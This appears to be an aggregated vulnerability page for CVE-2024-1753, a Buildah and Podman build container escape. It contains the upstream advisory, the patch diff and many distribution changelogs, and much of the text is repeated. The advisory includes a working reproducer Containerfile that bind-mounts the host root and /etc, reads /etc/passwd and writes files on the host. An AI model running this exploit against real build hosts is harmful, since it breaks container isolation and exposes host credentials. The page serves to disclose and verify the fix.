CVE-2024-1753

A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.

A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.

Impact

What kind of vulnerability is it? Who is impacted?

Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.

Patches

From @nalind . This is a patch for Buildah (https://github.com/containers/buildah). Once fixed there, Buildah will be vendored into Podman.

# cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
 
 	"errors"
 
+	"github.com/containers/buildah/copier"
 	"github.com/containers/buildah/define"
 	"github.com/containers/buildah/internal"
 	internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
 	// buildkit parity: support absolute path for sources from current build context
 	if contextDir != "" {
 		// path should be /contextDir/specified path
-		newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+		evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+		if err != nil {
+			return newMount, "", err
+		}
+		newMount.Source = evaluated
 	} else {
 		// looks like its coming from `build run --mount=type=bind` allow using absolute path
 		// error out if no source is set

Reproducer

Prior to testing, as root, add a memorable username to /etc/passwd via adduser or your favorite editor. Also create a memorably named file in /. Suggest: touch /SHOULDNTSEETHIS.txt and adduser SHOULDNTSEETHIS. After testing, remember to remove both the file and the user from your system.

Use the following Containerfile

# cat ~/cve_Containerfile
FROM alpine as base

RUN ln -s / /rootdir
RUN ln -s /etc /etc2

FROM alpine

RUN echo "ls container root"
RUN ls -l /

RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit

RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 

To Test

Testing with an older version of Podman with the issue

setenforce 0
podman build -f ~/cve_Containerfile .

As part of the printout from the build, you should be able to see the contents of the /' and /etcdirectories, including the/SHOULDNOTSEETHIS.txtfile that you created, and the contents of the/etc/passwdfile which will include theSHOULDNOTSEETHISuser that you created. In addition, the file/BIND_BREAKOUTand/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.

podman rm -a
podman rmi -a
rm /BIND_BREAKOUT
rm /etc/BIND_BREAKOUT2
setenforce 1
podman build -f ~/cve_Containerfile .

Neither the /BIND_BREAKEOUT or /etc/BIND_BREAKOUT2 files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the /etc/passwd file, and nothing will be displayed from that file.

However, the files in both the / and /etc directories on the host system will be displayed.

Testing with the patch

Use the same commands as testing with an older version of Podman.

When running using the patched version of Podman, regardless of the setenforce settings, you should not see the file that you created or the user that you added. Also the /BIND_BREAKOUT and the /etc/BIND_BREAKOUT will not exist on the host after the test completes.

NOTE: With the fix, the contents of the / and…

The package provides a command line tool which can be used to * create a working container from scratch or * create a working container from an image as a starting point * mount/umount a working container's root file system for manipulation * save container's root file system layer to create a new image * delete a working container or an image

Security Fix(es):

The crypto/tls package of Go through 1.16.5 does not properly assert that the type of public key in an X.509 certificate matches the expected type when doing a RSA based key exchange, allowing a malicious TLS server to cause a TLS client to panic.(CVE-2021-34558)

Uncontrolled recursion in the Parse functions in go/parser before Go 1.17.12 and Go 1.18.4 allow an attacker to cause a panic due to stack exhaustion via deeply nested types or declarations.(CVE-2022-1962)

An incorrect handling of the supplementary groups in the Buildah container engine might lead to the sensitive information disclosure or possible data modification if an attacker has direct access to the affected container where supplementary groups are used to set access permissions and is able to execute a binary code in that container.(CVE-2022-2990)

Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service. The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory. After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected.(CVE-2022-41715)

A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests.(CVE-2022-41723)

HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service. Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service. With fix, header parsing now correctly allocates only the memory required to hold parsed headers.(CVE-2023-24534)

Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts. This stems from several causes: 1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended. 2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts. 3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector. The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations. In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms: 1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment…

A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.

The buildah package provides a tool for facilitating building OCI container images. Among other things, buildah enables you to: Create a working container, either from scratch or using an image as a starting point; Create an image, either from a working container or using the instructions in a Dockerfile; Build both Docker and OCI images.

Security Fix(es):

• buildah: full container escape at build time (CVE-2024-1753)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

The container-tools module contains tools for working with containers, notably podman, buildah, skopeo, and runc.

Security Fix(es):

• buildah: full container escape at build time (CVE-2024-1753)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

The container-tools module contains tools for working with containers, notably podman, buildah, skopeo, and runc.

Bug Fix(es):

• container_init_t does not possess ptrace process context [almalinux-8.9.0.z] (JIRA:AlmaLinux-28923)

Security Fix(es):

• podman: full container escape at build time (CVE-2024-1753)

The podman tool manages pods, container images, and containers. It is part of the libpod library, which is for applications that use container pods. Container pods is a concept in Kubernetes.

Security Fixes:

• podman: golang-protobuf: encoding/protojson, internal/encoding/json: infinite loop in protojson.Unmarshal when unmarshaling certain forms of invalid JSON (CVE-2024-24786)
• podman: buildah: full container escape at build time (CVE-2024-1753)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Bug Fixes:

• liveness probe not called by podman when using httpGet (JIRA:AlmaLinux-28633)
• Unable to copy image from one virtual machine to another using "podman image scp" (JIRA:AlmaLinux-28629)
• [v4.9] Backport two docker CLI compatibility fixes (JIRA:AlmaLinux-28636)
• Issue in podman causing S2I to fail in overwriting ENTRYPOINT (JIRA:AlmaLinux-14922)
• Need to backport podman fix for SIGSEGV in AlmaLinux 9.3/8.9 for UBI based containers (JIRA:AlmaLinux-26843)

The container-tools module contains tools for working with containers, notably podman, buildah, skopeo, and runc.

Security Fix(es):

• buildah: full container escape at build time (CVE-2024-1753)
• golang: net/http/httputil: ReverseProxy should not forward unparseable query parameters (CVE-2022-2880)
• golang: regexp/syntax: limit memory used by parsing regexps (CVE-2022-41715)
• golang-protobuf: encoding/protojson, internal/encoding/json: infinite loop in protojson.Unmarshal when unmarshaling certain forms of invalid JSON (CVE-2024-24786)
• jose-go: improper handling of highly compressed data (CVE-2024-28180)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.

A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.

A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.

A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.

A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time.

Impact

What kind of vulnerability is it? Who is impacted?

Users running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.

Patches

From @nalind

# cat /root/cve-2024-1753.diff
--- internal/volumes/volumes.go
+++ internal/volumes/volumes.go
@@ -11,6 +11,7 @@ import (
 
 	"errors"
 
+	"github.com/containers/buildah/copier"
 	"github.com/containers/buildah/define"
 	"github.com/containers/buildah/internal"
 	internalParse "github.com/containers/buildah/internal/parse"
@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st
 	// buildkit parity: support absolute path for sources from current build context
 	if contextDir != "" {
 		// path should be /contextDir/specified path
-		newMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))
+		evaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})
+		if err != nil {
+			return newMount, "", err
+		}
+		newMount.Source = evaluated
 	} else {
 		// looks like its coming from `build run --mount=type=bind` allow using absolute path
 		// error out if no source is set

Reproducer

Prior to testing, as root, add a memorable username to /etc/passwd via adduser or your favorite editor. Also create a memorably named file in /. Suggest: touch /SHOULDNTSEETHIS.txt and adduser SHOULDNTSEETHIS. After testing, remember to remove both the file and the user from your system.

Use the following Containerfile

# cat ~/cve_Containerfile
FROM alpine as base

RUN ln -s / /rootdir
RUN ln -s /etc /etc2

FROM alpine

RUN echo "ls container root"
RUN ls -l /

RUN echo "With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host"
RUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit

RUN echo "With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host"
RUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 

To Test

Testing with an older version of Buildah with the issue

setenforce 0
buildah build -f ~/cve_Containerfile .

As part of the printout from the build, you should be able to see the contents of the /' and /etcdirectories, including the/SHOULDNOTSEETHIS.txtfile that you created, and the contents of the/etc/passwdfile which will include theSHOULDNOTSEETHISuser that you created. In addition, the file/BIND_BREAKOUTand/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests.

buildah rm -a
buildah rmi -a
rm /BIND_BREAKOUT
rm /etc/BIND_BREAKOUT2
setenforce 1
buildah build -f ~/cve_Containerfile .

Neither the /BIND_BREAKEOUT or /etc/BIND_BREAKOUT2 files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the /etc/passwd file, and nothing will be displayed from that file.

However, the files in both the / and /etc directories on the host system will be displayed.

Testing with the patch

Use the same commands as testing with an older version of Buildah.

When running using the patched version of Buildah, regardless of the setenforce settings, you should not see the file that you created or the user that you added. Also the /BIND_BREAKOUT and the /etc/BIND_BREAKOUT will not exist on the host after the test completes.

NOTE: With the fix, the contents of the / and /etc directories, and the /etc/passwd file will be displayed, however, it will be the file and contents from the container…

A crafted container file can use a dummy image with a symbolic link to the host filesystem as a mount source and cause the mount operation to mount the host filesystem during a build-time RUN step. The commands inside the RUN step will then have read-write access to the host filesystem.

A flaw was found in Buildah (and subsequently Podman Build) which allows containers to mount arbitrary locations on the host filesystem into build containers. A malicious Containerfile can use a dummy image with a symbolic link to the root filesystem as a mount source and cause the mount operation to mount the host root filesystem inside the RUN step. The commands inside the RUN step will then have read-write access to the host filesystem, allowing for full container escape at build time. (CVE-2024-1753) A flaw was found in the github.com/containers/image library. This flaw allows attackers to trigger unexpected authenticated registry accesses on behalf of a victim user, causing resource exhaustion, local path traversal, and other attacks. (CVE-2024-3727) When parsing a multipart form (either explicitly with Request.ParseMultipartForm or implicitly with Request.FormValue, Request.PostFormValue, or Request.FormFile), limits on the total size of the parsed form were not applied to the memory consumed while reading a single form line. This permits a maliciously crafted input containing very long lines to cause allocation of arbitrarily large amounts of memory, potentially leading to memory exhaustion. With fix, the ParseMultipartForm function now correctly limits the maximum size of form lines. (CVE-2023-45290) Package jose aims to provide an implementation of the Javascript Object Signing and Encryption set of standards. An attacker could send a JWE containing compressed data that used large amounts of memory and CPU when decompressed by Decrypt or DecryptMulti. Those functions now return an error if the decompressed data would exceed 250kB or 10x the compressed size (whichever is larger). This vulnerability has been patched in versions 4.0.1, 3.0.3 and 2.6.3. (CVE-2024-28180) jose is JavaScript module for JSON Object Signing and Encryption, providing support for JSON Web Tokens (JWT), JSON Web Signature (JWS), JSON Web Encryption (JWE), JSON Web Key (JWK), JSON Web Key Set (JWKS), and more. A vulnerability has been identified in the JSON Web Encryption (JWE) decryption interfaces, specifically related to the support for decompressing plaintext after its decryption. Under certain conditions it is possible to have the user's environment consume unreasonable amount of CPU time or memory during JWE Decryption operations. This issue has been patched in versions 2.0.7 and 4.15.5. (CVE-2024-28176) A flaw was found in Go. When FIPS mode is enabled on a system, container runtimes may incorrectly handle certain file paths due to improper validation in the containers/common Go library. This flaw allows an attacker to exploit symbolic links and trick the system into mounting sensitive host directories inside a container. This issue also allows attackers to access critical host files, bypassing the intended isolation between containers and the host system. (CVE-2024-9341) go-retryablehttp prior to 0.7.7 did not sanitize urls when writing them to its log file. This could lead to go-retryablehttp writing sensitive HTTP basic auth credentials to its log file. This vulnerability, CVE-2024-6104, was fixed in go-retryablehttp 0.7.7. (CVE-2024-6104) A vulnerability exists in the bind-propagation option of the Dockerfile RUN --mount instruction. The system does not properly validate the input passed to this option, allowing users to pass arbitrary parameters to the mount instruction. This issue can be exploited to mount sensitive directories from the host into a container during the build process and, in some cases, modify the contents of those mounted files. Even if SELinux is used, this vulnerability can bypass its protection by allowing the source directory to be relabeled to give the container access to host files. (CVE-2024-9407)

These are all security issues fixed in the buildah-1.35.1-1.1 package on the GA media of openSUSE Tumbleweed.

These are all security issues fixed in the podman-5.0.1-1.1 package on the GA media of openSUSE Tumbleweed.

The container-tools module contains tools for working with containers, notably podman, buildah, skopeo, and runc.

Security Fix(es):

• buildah: full container escape at build time (CVE-2024-1753)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

The container-tools module contains tools for working with containers, notably podman, buildah, skopeo, and runc.

Bug Fix(es):

• container_init_t does not possess ptrace process context [rhel-8.9.0.z] (JIRA:Rocky Linux-28923)

Security Fix(es):

• podman: full container escape at build time (CVE-2024-1753)

The podman tool manages pods, container images, and containers. It is part of the libpod library, which is for applications that use container pods. Container pods is a concept in Kubernetes.

Security Fixes:

• podman: golang-protobuf: encoding/protojson, internal/encoding/json: infinite loop in protojson.Unmarshal when unmarshaling certain forms of invalid JSON (CVE-2024-24786)

• podman: buildah: full container escape at build time (CVE-2024-1753)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

Bug Fixes:

• liveness probe not called by podman when using httpGet (JIRA:Rocky Linux-28633)

• Unable to copy image from one virtual machine to another using "podman image scp" (JIRA:Rocky Linux-28629)

• [v4.9] Backport two docker CLI compatibility fixes (JIRA:Rocky Linux-28636)

• Issue in podman causing S2I to fail in overwriting ENTRYPOINT (JIRA:Rocky Linux-14922)

• Need to backport podman fix for SIGSEGV in Rocky Linux 9.3/8.9 for UBI based containers (JIRA:Rocky Linux-26843)

This update for podman fixes the following issues:

• CVE-2024-1753: Fixed full container escape at build time (bsc#1221677).

This update for podman fixes the following issues:

• CVE-2024-1753: Fixed full container escape at build time in buildah (bsc#1221677).

This update for buildah fixes the following issues:

• CVE-2024-1753: Fixed an issue to prevent a full container escape at build time. (bsc#1221677)

This update for buildah fixes the following issues:

• CVE-2024-1753: Fixed an issue to prevent a full container escape at build time. (bsc#1221677)

• Update to version 1.34.1 for compatibility with Docker 25.0 (which is not in SLES yet, but will eventually be) (bsc#1219563). See the corresponding release notes:

  • https://github.com/containers/buildah/releases/tag/v1.34.1
  • https://github.com/containers/buildah/releases/tag/v1.34.0
  • https://github.com/containers/buildah/releases/tag/v1.33.0
  • https://github.com/containers/buildah/releases/tag/v1.32.0
  • https://github.com/containers/buildah/releases/tag/v1.31.0
  • https://github.com/containers/buildah/releases/tag/v1.30.0

• Require cni-plugins (bsc#1220568)

This update for buildah fixes the following issues:

• CVE-2024-1753: Fixed an issue to prevent a full container escape at build time. (bsc#1221677)

• Update to version 1.34.1 for compatibility with Docker 25.0 (which is not in SLES yet, but will eventually be) (bsc#1219563). See the corresponding release notes:

  • https://github.com/containers/buildah/releases/tag/v1.34.1
  • https://github.com/containers/buildah/releases/tag/v1.34.0
  • https://github.com/containers/buildah/releases/tag/v1.33.0
  • https://github.com/containers/buildah/releases/tag/v1.32.0
  • https://github.com/containers/buildah/releases/tag/v1.31.0
  • https://github.com/containers/buildah/releases/tag/v1.30.0

• Require cni-plugins (bsc#1220568)

This update for buildah fixes the following issues:

• CVE-2024-1753: Fixed an issue to prevent a full container escape at build time. (bsc#1221677)

• Update to version 1.34.1 for compatibility with Docker 25.0 (which is not in SLES yet, but will eventually be) (bsc#1219563). See the corresponding release notes:

  • https://github.com/containers/buildah/releases/tag/v1.34.1
  • https://github.com/containers/buildah/releases/tag/v1.34.0
  • https://github.com/containers/buildah/releases/tag/v1.33.0
  • https://github.com/containers/buildah/releases/tag/v1.32.0
  • https://github.com/containers/buildah/releases/tag/v1.31.0
  • https://github.com/containers/buildah/releases/tag/v1.30.0

• Require cni-plugins (bsc#1220568)

This update for podman fixes the following issues:

• CVE-2024-1753: Fixed an issue to prevent a full container escape at build time. (bsc#1221677)

This update for buildah, docker fixes the following issues:

Changes in docker:

• CVE-2024-23651: Fixed arbitrary files write due to race condition on mounts (bsc#1219267)
• CVE-2024-23652: Fixed insufficient validation of parent directory on mount (bsc#1219268)
• CVE-2024-23653: Fixed insufficient validation on entitlement on container creation via buildkit (bsc#1219438)
• CVE-2024-41110: A Authz zero length regression that could lead to authentication bypass was fixed (bsc#1228324)

Other fixes:

• Update to Docker 25.0.6-ce. See upstream changelog online at https://docs.docker.com/engine/release-notes/25.0/#2506

• Update to Docker 25.0.5-ce (bsc#1223409)

• Fix BuildKit's symlink resolution logic to correctly handle non-lexical symlinks. (bsc#1221916)

• Write volume options atomically so sudden system crashes won't result in future Docker starts failing due to empty files. (bsc#1214855)

Changes in buildah:

• Update to version 1.35.4:

  • [release-1.35] Bump to Buildah v1.35.4
  • [release-1.35] CVE-2024-3727 updates (bsc#1224117)
  • integration test: handle new labels in 'bud and test --unsetlabel'
  • [release-1.35] Bump go-jose CVE-2024-28180
  • [release-1.35] Bump ocicrypt and go-jose CVE-2024-28180

• Update to version 1.35.3:

  • [release-1.35] Bump to Buildah v1.35.3
  • [release-1.35] correctly configure /etc/hosts and resolv.conf
  • [release-1.35] buildah: refactor resolv/hosts setup.
  • [release-1.35] rename the hostFile var to reflect
  • [release-1.35] Bump c/common to v0.58.1
  • [release-1.35] Bump Buildah to v1.35.2
  • [release-1.35] CVE-2024-24786 protobuf to 1.33
  • [release-1.35] Bump to v1.35.2-dev

• Update to version 1.35.1:

  • [release-1.35] Bump to v1.35.1
  • [release-1.35] CVE-2024-1753 container escape fix (bsc#1221677)

• Buildah dropped cni support, require netavark instead (bsc#1221243)

• Remove obsolete requires libcontainers-image & libcontainers-storage

• Require passt for rootless networking (poo#156955) Buildah moved to passt/pasta for rootless networking from slirp4netns (https://github.com/containers/common/pull/1846)

• Update to version 1.35.0:

  • Bump v1.35.0
  • Bump c/common v0.58.0, c/image v5.30.0, c/storage v1.53.0
  • conformance tests: don't break on trailing zeroes in layer blobs
  • Add a conformance test for copying to a mounted prior stage
  • fix(deps): update module github.com/stretchr/testify to v1.9.0
  • cgroups: reuse version check from c/common
  • Update vendor of containers/(common,image)
  • fix(deps): update github.com/containers/storage digest to eadc620
  • fix(deps): update github.com/containers/luksy digest to ceb12d4
  • fix(deps): update github.com/containers/image/v5 digest to cdc6802
  • manifest add: complain if we get artifact flags without --artifact
  • Use retry logic from containers/common
  • Vendor in containers/(storage,image,common)
  • Update module golang.org/x/crypto to v0.20.0
  • Add comment re: Total Success task name
  • tests: skip_if_no_unshare(): check for --setuid
  • Properly handle build --pull=false
  • [skip-ci] Update tim-actions/get-pr-commits action to v1.3.1
  • Update module go.etcd.io/bbolt to v1.3.9
  • Revert 'Reduce official image size'
  • Update module github.com/opencontainers/image-spec to v1.1.0
  • Reduce official image size
  • Build with CNI support on FreeBSD
  • build --all-platforms: skip some base 'image' platforms
  • Bump main to v1.35.0-dev
  • Vendor in latest containers/(storage,image,common)
  • Split up error messages for missing --sbom related flags
  • buildah manifest: add artifact-related options
  • cmd/buildah/manifest.go: lock lists before adding/annotating/pushing
  • cmd/buildah/manifest.go: don't make struct declarations aliases
  • Use golang.org/x/exp/slices.Contains
  • Disable loong64 again
  • Fix a couple of typos in one-line comments
  • egrep is obsolescent; use grep -E
  • Try Cirrus with a newer VM version
  • Set CONTAINERS_CONF in the chroot-mount-flags…